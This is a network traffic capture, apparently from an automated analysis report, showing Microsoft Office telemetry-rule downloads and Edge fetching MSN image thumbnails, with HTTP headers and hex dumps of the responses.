2024-11-09 21:09:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:49 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: bf66accc-201e-0000-5ba0-30a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210949Z-17df447cdb5g2j9ghC1DFWuyag000000026000000000av50 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:49 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:49 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:49 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:49 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 4630a231-e01e-0020-14ff-2bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210949Z-16547b76f7fxdzxghC1DFWmf7n0000000bwg000000000fxk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:49 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	49927	23.47.50.162	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:49 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 30 Oct 2024 16:59:17 GMT X-Datacenter: eastus X-ActivityId: c05b7559-1421-43cb-9ee9-42e5bea3615f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO4 X-Source-Length: 79668 Content-Length: 79668 Cache-Control: public, max-age=330604 Expires: Wed, 13 Nov 2024 16:59:53 GMT Date: Sat, 09 Nov 2024 21:09:49 GMT Connection: close
2024-11-09 21:09:49 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-09 21:09:49 UTC	16384	IN	Data Raw: 79 75 9f 13 51 d2 12 eb 7e 23 c4 a5 d2 c6 3c ca 88 5d b5 64 eb 4e de b3 e3 23 67 48 4a 39 f1 8c f9 d6 b0 67 1f c5 c4 a8 d7 a6 94 ed eb 3e 23 c1 2f 48 76 f1 5b a4 50 c9 48 56 76 f5 6a f7 26 9c dd 48 47 30 a8 d2 87 29 a1 69 05 f2 92 50 f8 2a 9a 46 94 85 32 b0 12 09 0b 13 25 de a4 db 95 94 94 2c 4d 0b 3a d4 8b 25 34 84 94 f2 50 16 a0 8a 99 09 32 10 93 b5 24 ac 42 28 36 25 6f 34 a5 2e 43 85 b1 b0 ad d3 36 6a c7 6a 69 49 bd 6d 28 27 94 e0 4e 09 06 a4 60 05 8b 2d 43 43 53 c0 d8 96 ae c5 95 4a c3 4b 40 37 d0 b4 90 86 41 b1 04 92 16 a2 19 b1 9c ed a5 25 68 41 a5 21 25 6e 99 b1 eb 25 2e 94 15 89 a1 63 4e d0 ac ea 42 5b 1a d3 48 5a 2c 56 12 6b 4f 20 58 b2 8c 03 46 df 3a 96 f7 6c 59 58 25 ac 82 63 57 e1 4b dd f8 56 13 b1 29 29 4b 2d b1 6d 16 24 34 a1 94 d0 1a 5b 67 Data Ascii: yuQ~#<]dN#gHJ9g>#/Hv[PHVvj&HG0)iP*F2%,M:%4P2$B(6%o4.C6jjiIm('N`-CCSJK@7A%hA!%n%.cNB[HZ,VkO XF:lYX%cWKV))K-m$4[g
2024-11-09 21:09:49 UTC	2627	IN	Data Raw: 50 95 dd 14 60 4e f1 e1 2a 56 96 ee f9 e3 ec 57 4e 4d ce e7 3e a1 67 56 6d 6c 73 4f 4d 06 e7 0d d3 e8 82 72 c0 18 f0 0b ae 73 dd 48 35 75 c0 f0 43 d2 30 de 06 ef d4 2d c6 59 71 14 e4 55 da 7c ee 5a 68 f1 5d 2f dd 9c 08 d9 47 b5 02 a3 7e 21 bd 6e c5 39 d3 c3 5f b5 6c ec 3c 54 ad 14 d9 7f 9a 52 e8 de da 63 95 1e ab 57 01 0c bf 61 de 88 d7 7c 44 9f 3e 0a 96 ba b5 20 1e 29 83 a9 c7 9f a4 ad 6c 03 56 1f 03 b8 a1 55 6b bd c8 de 68 e4 88 f2 08 12 09 dc 7c 56 80 d8 a5 8e 3c 07 6a cf 93 48 c7 2c e0 87 55 ed bc 15 d1 ae 00 ff 00 4c 0d e0 f2 13 ea 91 f9 94 7c 91 a8 02 8d 52 a8 26 e7 1b 8d 3e 78 29 8d cc ad 73 4c 59 e3 17 a1 0c b6 b8 7c 8e 3a e6 f4 70 c2 df 94 3f 55 31 ce 61 66 68 8b 24 0a 19 bc d1 da 81 59 d6 36 75 a2 10 e8 98 1b 69 02 ea 71 94 30 1f 64 7e 6e 77 42 Data Ascii: P`N*VWNM>gVmlsOMrsH5uC0-YqU\|Zh]/G~!n9_l<TRcWa\|D> )lVUkh\|V<jH,UL\|R&>x)sLY\|:p?U1afh$Y6uiq0d~nwB
2024-11-09 21:09:49 UTC	16384	IN	Data Raw: 14 b6 9d 78 6b 0a 6d 79 be 63 92 66 e8 ef 8a b8 4c 8b ac ef 2d c4 cc 75 2e 68 7b c5 0d cc 78 fe 93 54 f0 a0 23 1c f7 c0 0f ef 80 7d f0 d5 3e 40 fd a3 8d 04 52 40 31 b9 b0 a2 37 28 83 de aa f3 6c 56 06 9c 40 a6 61 6f 54 4f 9c 7e 64 07 f5 19 4e 20 1c b0 e6 ec 24 1d cd 74 84 d9 b9 99 6c 0d f9 c5 92 c0 d0 63 02 4c d1 16 42 98 fe a5 9d e8 64 1a b1 2c 01 86 00 b6 28 d4 b8 af ea 72 9d 27 46 f7 dd f3 38 91 69 b8 36 e4 47 da fd 33 15 bf cd 99 f8 17 33 aa 60 8e eb 5b 4d 15 5a 26 22 9e 3b d0 87 5a 44 d5 91 38 4d 1c 36 eb 44 3d 4e 5d 1d cc 99 9f 83 b6 9a 14 79 cb cc 35 b3 0b 05 81 ad c7 58 85 da 31 8a db 8c fd ec 1b a6 ea 1c 33 66 1a 6f bc 4c 0c 62 90 87 d4 f5 0d ce 75 6a 66 6e 34 d1 ea b1 b9 8e 65 0d a9 9a dc 2b 30 4f 1b f9 a4 74 be 90 c0 0c cd 32 e9 fe d8 bd 74 a8 Data Ascii: xkmycfL-u.h{xT#}>@R@17(lV@aoTO~dN $tlcLBd,(r'F8i6G33`[MZ&";ZD8M6D=N]y5X13foLbujfn4e+0Ot2t
2024-11-09 21:09:49 UTC	16384	IN	Data Raw: a7 bc d1 ac 5d e7 1a 10 b4 2e 00 c3 f8 b1 d0 38 02 16 b5 c4 b3 52 88 1c 2c 8d 47 b1 14 44 52 79 7e 88 9a 27 b7 16 39 06 a3 c5 ed e1 1d 8d 94 5c 06 9c 96 3b fc 3f e1 f4 41 3d 18 37 56 fc ae 07 d6 94 52 48 9e e8 ed e4 52 1c c2 3d de 7f f7 26 27 28 e2 b6 22 9e 85 c3 17 7e 66 38 73 12 a3 1e 95 e2 89 61 fc d1 fc 50 ba 63 3b 61 f3 bd 37 dc 3f f1 79 dc 71 5b d7 9b 35 0e 31 e9 b3 7e 02 75 41 f4 25 04 e5 bc 5e c7 8f ca 57 a0 39 d6 b0 1d cd ff 00 2a ba 66 fc 3c fc 16 b5 cf 41 a5 e6 8c 62 0f 02 b2 5a bd 4e 95 94 51 98 27 f1 4f aa 59 cb 3f e2 6f 63 4f 68 5a e6 7f 6c 8d 3b de 5a 5a 71 56 85 e9 48 64 7c cc de c8 f4 94 ba 31 66 51 e2 b5 cc 8e 8a 9e 6e 05 ab 63 6f 35 e8 6a 37 e0 67 2f 15 87 2d a2 fc ae 5f f6 ab 99 b9 53 81 4e 05 5e f5 ab b7 19 58 e5 8e 5e 0b 2a 64 7f 84 Data Ascii: ].8R,GDRy~'9\;?A=7VRHR=&'("~f8saPc;a7?yq[51~uA%^W9f<AbZNQ'OY?ocOhZl;ZZqVHd\|1fQnco5j7g/-_SN^X^d
2024-11-09 21:09:49 UTC	7952	IN	Data Raw: a5 6e 3d da 6c 91 c2 25 09 d9 79 6c 18 9d 43 9d 25 75 d5 0c 53 9f e7 6a 28 11 7d 1b c7 9e 49 8e c2 07 af 34 13 58 fc 5a f6 2d 04 9d 28 17 47 22 84 73 6f c5 47 f3 b5 2d 33 44 aa a0 a4 9c db 28 5a 1d b4 fa 28 db d5 de 9a 80 9a 73 8d d4 6e 58 33 0e 34 eb 50 62 94 56 b6 2f 46 98 36 9e d7 33 e1 c5 74 c6 60 69 a0 9d 53 0b 8b a4 8c 28 d8 88 0e 33 05 72 9c 6d a8 97 65 99 ee 9a 44 72 5d 5d 39 7b 43 5c 43 c7 c2 f1 58 7f 70 25 79 73 9a e8 31 07 6e 29 83 dc 44 49 1b 3c d2 b8 cf 6e f7 37 19 fc 5e 85 dd 3f 49 99 35 b2 03 4c fc d9 75 f2 e8 d4 6b 33 fb 57 3d ff 00 49 cb 7f fa 3d 40 07 e1 cd 6c 53 60 70 bf f9 42 86 c7 3d 86 6b 11 aa 79 62 ba 0d ea 60 0f 94 d2 2f bf c9 c6 8b 96 6b b9 8f 96 53 f7 fd ed 7d 99 f3 87 37 33 e9 3d 6e 5d 23 24 e6 0f 8b 2c 87 8e 44 9e 4b 96 ec b7 Data Ascii: n=l%ylC%uSj(}I4XZ-(G"soG-3D(Z(snX34PbV/F63t`iS(3rmeDr]]9{C\CXp%ys1n)DI<n7^?I5Luk3W=I=@lS`pB=kyb`/kS}73=n]#$,DK
2024-11-09 21:09:49 UTC	4072	IN	Data Raw: 34 6d da 6e 2a d6 18 51 a9 73 e6 49 a8 44 39 14 91 33 18 e1 72 23 72 da 36 eb 46 24 61 4c 72 56 48 f3 75 17 a2 72 ca 55 36 a0 3e ed 3a a1 16 a9 d8 29 40 05 d0 7d 52 56 71 9a 0f 05 8f 89 4b 0d 16 89 34 cc ca de ec 52 54 5b 4d 29 60 03 86 f4 51 48 ae 22 eb f1 2b 0e 65 88 40 98 a3 b2 85 90 e2 6e 27 f4 40 35 78 58 73 06 db d2 c4 1a 6e 4a e7 65 87 50 68 8c 29 bd 28 50 eb d6 97 0b 7c 14 71 9e c1 24 49 e1 b7 c1 69 cc 63 e2 c9 be 91 49 b7 c1 55 3d 25 0a 4b a4 52 ab a8 76 06 0f 1d aa 13 b3 18 6d 10 78 a5 6c 18 20 cf ea b7 a5 26 57 68 f3 c5 08 e6 34 63 ea 80 e6 c9 38 1c 7c 84 1d 11 a2 d9 a3 7a d4 63 1d 42 60 cc 20 5e 0f 6a cd 25 33 7a 86 72 a0 df 22 8b a7 8a 23 40 68 3c b8 ad 54 14 80 e8 a5 69 22 8f 14 b7 85 bd e7 51 1e d5 94 e7 2c 5a aa f6 b9 ac ab 04 a5 44 52 6d Data Ascii: 4mn*QsID93r#r6F$aLrVHurU6>:)@}RVqK4RT[M)`QH"+e@n'@5xXsnJePh)(P\|q$IicIU=%KRvmxl &Wh4c8\|zcB` ^j%3zr"#@h<Ti"Q,ZDRm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49928	23.47.50.162	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:49 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOOW Last-Modified: Sat, 26 Oct 2024 02:04:36 GMT X-Source-Length: 76188 X-Datacenter: northeu X-ActivityId: 77e48659-047f-458a-b9dd-8f9e0ce592d7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 76188 Cache-Control: public, max-age=320098 Expires: Wed, 13 Nov 2024 14:04:47 GMT Date: Sat, 09 Nov 2024 21:09:49 GMT Connection: close
2024-11-09 21:09:49 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-09 21:09:49 UTC	16384	IN	Data Raw: e5 b3 89 ae 12 0f c8 8e 44 73 07 25 6c 2f 89 78 37 88 0d 0e a0 75 2e 5c e8 bf 65 c0 91 84 4c 45 c8 e1 c2 b0 be d6 c3 3c 57 8f 3c 74 cb eb f1 72 7e 48 f5 8e a9 d3 a5 09 d7 37 60 b5 09 91 92 ad 5a 84 18 b5 0b 51 18 b5 6a 11 2c 21 6a d4 46 21 6a d5 51 88 5a b5 11 8b 50 b5 10 21 6a 11 02 10 84 40 85 ab 10 08 5a b5 06 21 6a 10 62 d4 2d 44 62 13 2c 41 8b 56 a1 06 21 6a 10 62 d4 2d 44 62 16 ad 40 a8 4c 84 46 2d 42 d4 18 85 ab 51 18 85 a8 50 62 16 a1 50 21 0b 51 18 85 a8 41 88 5a 84 18 85 a8 41 88 5a 84 18 84 2d 41 88 5a 84 18 85 a8 41 88 5a b1 14 21 08 40 21 08 41 88 5a 84 18 85 a8 50 2a 13 21 02 a1 6a 10 62 10 84 56 21 6a 10 62 16 a1 02 a1 32 54 50 b1 6a 10 62 c4 c9 51 42 c5 a8 45 2a 13 25 40 2c 5a 85 14 a8 5a b1 14 a8 5a b1 15 8b 13 25 45 62 c5 ab 14 6c a8 5a Data Ascii: Ds%l/x7u.\eLE<W<tr~H7`ZQj,!jF!jQZP!j@Z!jb-Db,AV!jb-Db@LF-BQPbP!QAZAZ-AZAZ!@!AZP!jbV!jb2TPjbQBE%@,ZZZ%EblZ
2024-11-09 21:09:49 UTC	3220	IN	Data Raw: 73 2b e6 37 b5 45 f7 b1 38 bc 17 49 04 bc be 01 14 18 48 0e c4 0f 32 66 14 a3 54 cd 46 a2 e3 ee 5c c3 6f 50 5c e7 d1 c4 80 41 6b 5a e0 28 1a c2 05 7c a5 70 58 f6 b8 92 58 0b a0 00 72 11 bc 81 15 e5 c9 7a 63 1a 85 8d aa bb bb 36 b5 21 81 e1 83 0b 9e 63 37 d6 84 4f b4 72 e3 22 aa fd 96 d8 73 8b bd dd ed 8c 24 b9 8e 0c 66 c3 89 38 41 12 e9 82 26 5d 45 cc b5 70 62 2f 27 aa 45 a3 b2 d0 04 02 22 30 bb e9 13 26 33 2a dd bb 8e 7d b0 e0 48 e8 b2 05 23 65 c2 30 80 4c 00 41 ab a4 98 13 2a 3d 10 f4 56 c8 f7 9d 3f 55 c5 ae c0 00 c5 42 1d 8a 20 98 87 7e f0 56 6d 6a 1c 3c 41 ac b7 18 1a cc 2e 14 15 26 04 72 dd dc b8 77 61 ad b3 2e 0e 0c 6d b3 49 13 83 11 20 4e 52 e8 95 27 53 a0 f6 bd cd cc 17 e2 8d d3 15 e4 09 73 b9 67 0b 0e d3 e3 a7 47 b7 b9 75 c0 56 30 93 47 67 c5 71 Data Ascii: s+7E8IH2fTF\oP\AkZ(\|pXXrzc6!c7Or"s$f8A&]Epb/'E"0&3}H#e0LA=V?UB ~Vmj<A.&rwa.mI NR'SsgGuV0Ggq
2024-11-09 21:09:49 UTC	16384	IN	Data Raw: d1 8a 0e 03 3e 49 6d e9 2e 62 c6 5d 6d ad 20 43 b1 62 31 19 e1 86 8f 5c c2 8a e6 b0 9b 6c be e7 b7 15 4e 6e 22 4e 41 d2 59 b2 6b 94 9e 6b c0 6b f1 c8 0e 0e 11 94 e6 6a 6b 41 1d ab ea d7 9f a5 0d 38 a5 8d 24 c3 b0 9d a0 68 62 68 41 95 f3 df 16 b7 80 30 b1 c2 e5 a0 5e d0 e1 93 49 32 1b 90 a4 65 13 ce a8 e7 94 6c e4 e9 6e f4 ee b0 b8 b9 90 26 5b 18 8f 61 a1 5e 85 de 25 7a f3 5f 68 87 dd 61 63 85 41 71 1f bd 2d 12 22 99 13 50 bc f3 30 32 e4 86 3a eb 3a 6d 27 6a 08 df 51 02 87 2f 5a 8f ae 2d b8 ec 92 d7 08 22 48 ae fa 11 3d b4 55 ce e9 d7 d1 eb 06 99 97 08 25 d8 88 c3 b2 62 5b 91 75 44 56 a0 09 3b d7 b2 66 a6 e5 cb 16 ae 3a 0b dc d0 e7 0a 6c e2 3f bc 77 51 79 bd 05 f7 fb b3 da f1 64 80 65 8c 2d 61 da cf 11 06 91 26 8a c7 bd 39 c5 b8 89 88 c4 5c ea fb 23 69 c4 Data Ascii: >Im.b]m Cb1\lNn"NAYkkkjkA8$hbhA0^I2eln&[a^%z_hacAq-"P02::m'jQ/Z-"H=U%b[uDV;f:l?wQyde-a&9\#i
2024-11-09 21:09:49 UTC	16384	IN	Data Raw: 9b 4e ef e2 5c fd ab df ac b1 fa 4b 66 8c 63 5f fb d8 b5 13 eb 2b a8 75 9a 06 f3 d3 76 1b a7 e6 a2 3e 23 a1 e6 e6 53 97 52 e0 1d c1 cb 7b fa b8 d6 3e 61 c2 76 8e e8 f6 74 c0 f1 2e 3f 84 ab 3e db 9b 42 c1 d8 18 4f c4 af 52 3c 47 c3 62 71 b2 77 63 71 fe f3 82 b0 cf 12 d2 1f e8 f0 f9 be f3 1b f8 6e f8 25 cf 86 74 e3 fe d0 f1 4d 63 5b 5e 91 78 dc 5a 47 f7 42 9a 6d 9b 6e 07 4a 64 c6 13 39 56 b9 c9 5e df af 6d d5 07 4c 7f fe 63 07 ab 0a a9 7b ab 72 8c 76 8f c9 d7 ed bf e4 d5 6c 8c 6b a4 c7 db cf c5 e3 7a 36 1d fc 3b c3 80 3f fb 65 2b 6c 5b 6b a9 61 ce fc eb 84 7f f9 85 ea bd d6 f0 ac e9 07 e5 36 3b 95 9b 76 c8 cf dd 49 fd d7 37 e7 45 ab 73 d3 2f 3f d3 14 ff 00 75 2d e3 d6 7f e0 c2 80 3b a6 60 b6 04 fd 4d ba e0 3b 71 85 ed 83 1b f5 74 19 fc c1 f9 84 ed 6d a9 a3 Data Ascii: N\Kfc_+uv>#SR{>avt.?>BOR<Gbqwcqn%tMc[^xZGBmnJd9V^mLc{rvlkz6;?e+l[ka6;vI7Es/?u-;`M;qtm
2024-11-09 21:09:49 UTC	7952	IN	Data Raw: 25 7d ab 43 a3 66 96 d8 00 54 2e 17 87 f8 48 d3 6a 7a a7 90 a7 68 85 ec d6 79 73 bd a3 a3 5c 1c 5a 62 f2 8d cc b5 2a 17 9d ec 32 d4 88 54 32 12 a1 03 21 2a d4 0c 84 a8 44 32 12 a1 03 21 2a 10 32 c5 88 45 0b 16 a5 40 2c 5a 84 68 2c 80 b5 08 19 64 4a 10 8c 99 6a 45 a8 19 09 56 22 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 50 81 d0 91 6a 06 42 54 20 65 a9 10 81 d0 95 08 87 94 24 5a 88 65 a9 10 81 d0 95 08 19 0b 11 28 19 09 56 a2 35 0b 10 88 64 25 5a 85 35 0b 10 89 46 42 55 a8 53 56 a5 42 21 90 b1 08 35 0b 10 83 50 b1 08 35 0b 16 a0 10 84 20 16 ac 42 32 64 25 42 06 42 54 20 65 8b 16 a0 c4 21 08 04 21 0a 28 42 10 8a 10 84 20 c5 88 42 80 42 10 94 a1 2a d5 89 4d 05 8b 52 a5 2b 16 2d 58 a5 29 52 29 12 25 34 8d 7c eb fc c9 e1 ce b8 5b a9 Data Ascii: %}CfT.Hjzhys\Zb2T2!D2!2E@,Zh,dJjEV"PjBT e$Ze(V5d%Z5FBUSVB!5P5 B2d%BBT e!!(B BBMR+-X)R)%4\|[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49926	23.47.50.162	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:49 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:49 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 29 Oct 2024 13:09:36 GMT X-Datacenter: eastap X-ActivityId: 71bf84f9-d0c2-4597-9893-d34df3f39f2d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A X-Source-Length: 114962 Content-Length: 114962 Cache-Control: public, max-age=230261 Expires: Tue, 12 Nov 2024 13:07:30 GMT Date: Sat, 09 Nov 2024 21:09:49 GMT Connection: close
2024-11-09 21:09:49 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 